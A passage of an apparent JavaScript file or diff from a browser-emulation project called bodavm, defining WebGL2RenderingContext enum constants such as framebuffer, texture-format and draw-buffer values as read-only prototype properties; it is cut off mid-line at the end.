-bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT", {configurable:false, enumerable:true, writable:false, value:36055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_DIMENSIONS", {configurable:false, enumerable:true, writable:false, value:36057},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_UNSUPPORTED", {configurable:false, enumerable:true, writable:false, value:36061},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36007},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_RENDERBUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:34024},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_FRAMEBUFFER_OPERATION", {configurable:false, enumerable:true, writable:false, value:1286},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_FLIP_Y_WEBGL", {configurable:false, enumerable:true, writable:false, value:37440},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_PREMULTIPLY_ALPHA_WEBGL", {configurable:false, enumerable:true, writable:false, value:37441},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONTEXT_LOST_WEBGL", {configurable:false, enumerable:true, writable:false, value:37442},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_COLORSPACE_CONVERSION_WEBGL", {configurable:false, enumerable:true, writable:false, value:37443},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "BROWSER_DEFAULT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37444},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:3074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3314},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3315},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3316},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_ROW_LENGTH", {configurable:false, enumerable:true, writable:false, value:3330},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_ROWS", {configurable:false, enumerable:true, writable:false, value:3331},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PACK_SKIP_PIXELS", {configurable:false, enumerable:true, writable:false, value:3332},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR", {configurable:false, enumerable:true, writable:false, value:6144},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH", {configurable:false, enumerable:true, writable:false, value:6145},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STENCIL", {configurable:false, enumerable:true, writable:false, value:6146},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED", {configurable:false, enumerable:true, writable:false, value:6403},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8", {configurable:false, enumerable:true, writable:false, value:32849},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8", {configurable:false, enumerable:true, writable:false, value:32856},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2", {configurable:false, enumerable:true, writable:false, value:32857},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_3D", {configurable:false, enumerable:true, writable:false, value:32874},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_SKIP_IMAGES", {configurable:false, enumerable:true, writable:false, value:32877},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNPACK_IMAGE_HEIGHT", {configurable:false, enumerable:true, writable:false, value:32878},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_3D", {configurable:false, enumerable:true, writable:false, value:32879},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_WRAP_R", {configurable:false, enumerable:true, writable:false, value:32882},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_3D_TEXTURE_SIZE", {configurable:false, enumerable:true, writable:false, value:32883},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:33640},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_VERTICES", {configurable:false, enumerable:true, writable:false, value:33000},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENTS_INDICES", {configurable:false, enumerable:true, writable:false, value:33001},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MIN_LOD", {configurable:false, enumerable:true, writable:false, value:33082},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LOD", {configurable:false, enumerable:true, writable:false, value:33083},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BASE_LEVEL", {configurable:false, enumerable:true, writable:false, value:33084},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_MAX_LEVEL", {configurable:false, enumerable:true, writable:false, value:33085},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN", {configurable:false, enumerable:true, writable:false, value:32775},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX", {configurable:false, enumerable:true, writable:false, value:32776},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT24", {configurable:false, enumerable:true, writable:false, value:33190},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TEXTURE_LOD_BIAS", {configurable:false, enumerable:true, writable:false, value:34045},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_MODE", {configurable:false, enumerable:true, writable:false, value:34892},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_COMPARE_FUNC", {configurable:false, enumerable:true, writable:false, value:34893},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CURRENT_QUERY", {configurable:false, enumerable:true, writable:false, value:34917},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT", {configurable:false, enumerable:true, writable:false, value:34918},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "QUERY_RESULT_AVAILABLE", {configurable:false, enumerable:true, writable:false, value:34919},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_READ", {configurable:false, enumerable:true, writable:false, value:35041},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STREAM_COPY", {configurable:false, enumerable:true, writable:false, value:35042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_READ", {configurable:false, enumerable:true, writable:false, value:35045},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "STATIC_COPY", {configurable:false, enumerable:true, writable:false, value:35046},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_READ", {configurable:false, enumerable:true, writable:false, value:35049},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DYNAMIC_COPY", {configurable:false, enumerable:true, writable:false, value:35050},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_DRAW_BUFFERS", {configurable:false, enumerable:true, writable:false, value:34852},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER0", {configurable:false, enumerable:true, writable:false, value:34853},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER1", {configurable:false, enumerable:true, writable:false, value:34854},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER2", {configurable:false, enumerable:true, writable:false, value:34855},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER3", {configurable:false, enumerable:true, writable:false, value:34856},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER4", {configurable:false, enumerable:true, writable:false, value:34857},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER5", {configurable:false, enumerable:true, writable:false, value:34858},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER6", {configurable:false, enumerable:true, writable:false, value:34859},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER7", {configurable:false, enumerable:true, writable:false, value:34860},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER8", {configurable:false, enumerable:true, writable:false, value:34861},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER9", {configurable:false, enumerable:true, writable:false, value:34862},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER10", {configurable:false, enumerable:true, writable:false, value:34863},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER11", {configurable:false, enumerable:true, writable:false, value:34864},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER12", {configurable:false, enumerable:true, writable:false, value:34865},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER13", {configurable:false, enumerable:true, writable:false, value:34866},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER14", {configurable:false, enumerable:true, writable:false, value:34867},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_BUFFER15", {configurable:false, enumerable:true, writable:false, value:34868},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35657},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35658},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:35679},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_SHADOW", {configurable:false, enumerable:true, writable:false, value:35682},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAGMENT_SHADER_DERIVATIVE_HINT", {configurable:false, enumerable:true, writable:false, value:35723},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35051},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35052},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_PACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35053},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "PIXEL_UNPACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35055},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x3", {configurable:false, enumerable:true, writable:false, value:35685},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT2x4", {configurable:false, enumerable:true, writable:false, value:35686},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x2", {configurable:false, enumerable:true, writable:false, value:35687},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT3x4", {configurable:false, enumerable:true, writable:false, value:35688},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x2", {configurable:false, enumerable:true, writable:false, value:35689},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_MAT4x3", {configurable:false, enumerable:true, writable:false, value:35690},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB", {configurable:false, enumerable:true, writable:false, value:35904},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8", {configurable:false, enumerable:true, writable:false, value:35905},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SRGB8_ALPHA8", {configurable:false, enumerable:true, writable:false, value:35907},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COMPARE_REF_TO_TEXTURE", {configurable:false, enumerable:true, writable:false, value:34894},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32F", {configurable:false, enumerable:true, writable:false, value:34836},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32F", {configurable:false, enumerable:true, writable:false, value:34837},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16F", {configurable:false, enumerable:true, writable:false, value:34842},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16F", {configurable:false, enumerable:true, writable:false, value:34843},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_INTEGER", {configurable:false, enumerable:true, writable:false, value:35069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ARRAY_TEXTURE_LAYERS", {configurable:false, enumerable:true, writable:false, value:35071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MIN_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_PROGRAM_TEXEL_OFFSET", {configurable:false, enumerable:true, writable:false, value:35077},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VARYING_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35659},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35866},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_BINDING_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:35869},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R11F_G11F_B10F", {configurable:false, enumerable:true, writable:false, value:35898},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_10F_11F_11F_REV", {configurable:false, enumerable:true, writable:false, value:35899},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB9_E5", {configurable:false, enumerable:true, writable:false, value:35901},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_5_9_9_9_REV", {configurable:false, enumerable:true, writable:false, value:35902},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_MODE", {configurable:false, enumerable:true, writable:false, value:35967},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35968},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_VARYINGS", {configurable:false, enumerable:true, writable:false, value:35971},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35972},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35973},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN", {configurable:false, enumerable:true, writable:false, value:35976},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RASTERIZER_DISCARD", {configurable:false, enumerable:true, writable:false, value:35977},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35978},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35979},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INTERLEAVED_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35980},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SEPARATE_ATTRIBS", {configurable:false, enumerable:true, writable:false, value:35981},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER", {configurable:false, enumerable:true, writable:false, value:35982},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35983},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32UI", {configurable:false, enumerable:true, writable:false, value:36208},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32UI", {configurable:false, enumerable:true, writable:false, value:36209},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16UI", {configurable:false, enumerable:true, writable:false, value:36214},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16UI", {configurable:false, enumerable:true, writable:false, value:36215},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8UI", {configurable:false, enumerable:true, writable:false, value:36220},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8UI", {configurable:false, enumerable:true, writable:false, value:36221},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA32I", {configurable:false, enumerable:true, writable:false, value:36226},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB32I", {configurable:false, enumerable:true, writable:false, value:36227},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA16I", {configurable:false, enumerable:true, writable:false, value:36232},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB16I", {configurable:false, enumerable:true, writable:false, value:36233},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8I", {configurable:false, enumerable:true, writable:false, value:36238},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8I", {configurable:false, enumerable:true, writable:false, value:36239},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RED_INTEGER", {configurable:false, enumerable:true, writable:false, value:36244},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB_INTEGER", {configurable:false, enumerable:true, writable:false, value:36248},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA_INTEGER", {configurable:false, enumerable:true, writable:false, value:36249},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36289},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_2D_ARRAY_SHADOW", {configurable:false, enumerable:true, writable:false, value:36292},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_CUBE_SHADOW", {configurable:false, enumerable:true, writable:false, value:36293},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC2", {configurable:false, enumerable:true, writable:false, value:36294},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC3", {configurable:false, enumerable:true, writable:false, value:36295},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_VEC4", {configurable:false, enumerable:true, writable:false, value:36296},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36298},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36299},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36300},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36303},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D", {configurable:false, enumerable:true, writable:false, value:36306},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_3D", {configurable:false, enumerable:true, writable:false, value:36307},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_CUBE", {configurable:false, enumerable:true, writable:false, value:36308},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_SAMPLER_2D_ARRAY", {configurable:false, enumerable:true, writable:false, value:36311},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH_COMPONENT32F", {configurable:false, enumerable:true, writable:false, value:36012},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH32F_STENCIL8", {configurable:false, enumerable:true, writable:false, value:36013},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FLOAT_32_UNSIGNED_INT_24_8_REV", {configurable:false, enumerable:true, writable:false, value:36269},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING", {configurable:false, enumerable:true, writable:false, value:33296},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE", {configurable:false, enumerable:true, writable:false, value:33297},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_RED_SIZE", {configurable:false, enumerable:true, writable:false, value:33298},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_GREEN_SIZE", {configurable:false, enumerable:true, writable:false, value:33299},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_BLUE_SIZE", {configurable:false, enumerable:true, writable:false, value:33300},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE", {configurable:false, enumerable:true, writable:false, value:33301},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE", {configurable:false, enumerable:true, writable:false, value:33302},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE", {configurable:false, enumerable:true, writable:false, value:33303},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_DEFAULT", {configurable:false, enumerable:true, writable:false, value:33304},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_INT_24_8", {configurable:false, enumerable:true, writable:false, value:34042},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DEPTH24_STENCIL8", {configurable:false, enumerable:true, writable:false, value:35056},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:35863},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36006},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36008},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "DRAW_FRAMEBUFFER", {configurable:false, enumerable:true, writable:false, value:36009},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "READ_FRAMEBUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36010},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RENDERBUFFER_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36011},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER", {configurable:false, enumerable:true, writable:false, value:36052},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COLOR_ATTACHMENTS", {configurable:false, enumerable:true, writable:false, value:36063},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT1", {configurable:false, enumerable:true, writable:false, value:36065},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT2", {configurable:false, enumerable:true, writable:false, value:36066},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT3", {configurable:false, enumerable:true, writable:false, value:36067},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT4", {configurable:false, enumerable:true, writable:false, value:36068},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT5", {configurable:false, enumerable:true, writable:false, value:36069},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT6", {configurable:false, enumerable:true, writable:false, value:36070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT7", {configurable:false, enumerable:true, writable:false, value:36071},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT8", {configurable:false, enumerable:true, writable:false, value:36072},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT9", {configurable:false, enumerable:true, writable:false, value:36073},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT10", {configurable:false, enumerable:true, writable:false, value:36074},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT11", {configurable:false, enumerable:true, writable:false, value:36075},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT12", {configurable:false, enumerable:true, writable:false, value:36076},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT13", {configurable:false, enumerable:true, writable:false, value:36077},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT14", {configurable:false, enumerable:true, writable:false, value:36078},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COLOR_ATTACHMENT15", {configurable:false, enumerable:true, writable:false, value:36079},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "FRAMEBUFFER_INCOMPLETE_MULTISAMPLE", {configurable:false, enumerable:true, writable:false, value:36182},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SAMPLES", {configurable:false, enumerable:true, writable:false, value:36183},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "HALF_FLOAT", {configurable:false, enumerable:true, writable:false, value:5131},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG", {configurable:false, enumerable:true, writable:false, value:33319},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG_INTEGER", {configurable:false, enumerable:true, writable:false, value:33320},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8", {configurable:false, enumerable:true, writable:false, value:33321},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8", {configurable:false, enumerable:true, writable:false, value:33323},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16F", {configurable:false, enumerable:true, writable:false, value:33325},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32F", {configurable:false, 